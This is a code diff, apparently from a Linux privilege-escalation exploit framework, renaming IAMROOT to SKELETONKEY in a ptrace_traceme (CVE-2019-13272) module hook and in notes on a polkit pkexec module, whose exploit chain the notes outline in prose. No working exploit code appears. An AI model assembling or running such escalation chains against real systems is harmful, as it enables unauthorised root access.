@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_ptrace_traceme(void)
|
void skeletonkey_register_ptrace_traceme(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&ptrace_traceme_module);
|
skeletonkey_register(&ptrace_traceme_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
|
||||||
|
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
|
|||||||
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
|
- Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
|
||||||
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
|
- RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)
|
||||||
|
|
||||||
## IAMROOT detect logic (current)
|
## SKELETONKEY detect logic (current)
|
||||||
|
|
||||||
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
|
1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
|
||||||
2. If not present → IAMROOT_OK (no attack surface)
|
2. If not present → SKELETONKEY_OK (no attack surface)
|
||||||
3. Run `pkexec --version` and parse version
|
3. Run `pkexec --version` and parse version
|
||||||
4. Compare to known-fixed thresholds; report VULNERABLE if below
|
4. Compare to known-fixed thresholds; report VULNERABLE if below
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ Original advisory:
|
|||||||
|
|
||||||
Upstream fix: polkit 0.121 (Jan 2022).
|
Upstream fix: polkit 0.121 (Jan 2022).
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
The exploit module follows the canonical Qualys-style chain: writes
|
The exploit module follows the canonical Qualys-style chain: writes
|
||||||
payload.c + gconv-modules cache, compiles via the target's gcc,
|
payload.c + gconv-modules cache, compiles via the target's gcc,
|
||||||
@@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the
|
|||||||
legacy ("0.105") and modern ("126") polkit version string formats.
|
legacy ("0.105") and modern ("126") polkit version string formats.
|
||||||
Falls back gracefully on hosts without a compiler.
|
Falls back gracefully on hosts without a compiler.
|
||||||
|
|
||||||
This is IAMROOT's first **userspace** LPE — not a kernel bug.
|
This is SKELETONKEY's first **userspace** LPE — not a kernel bug.
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user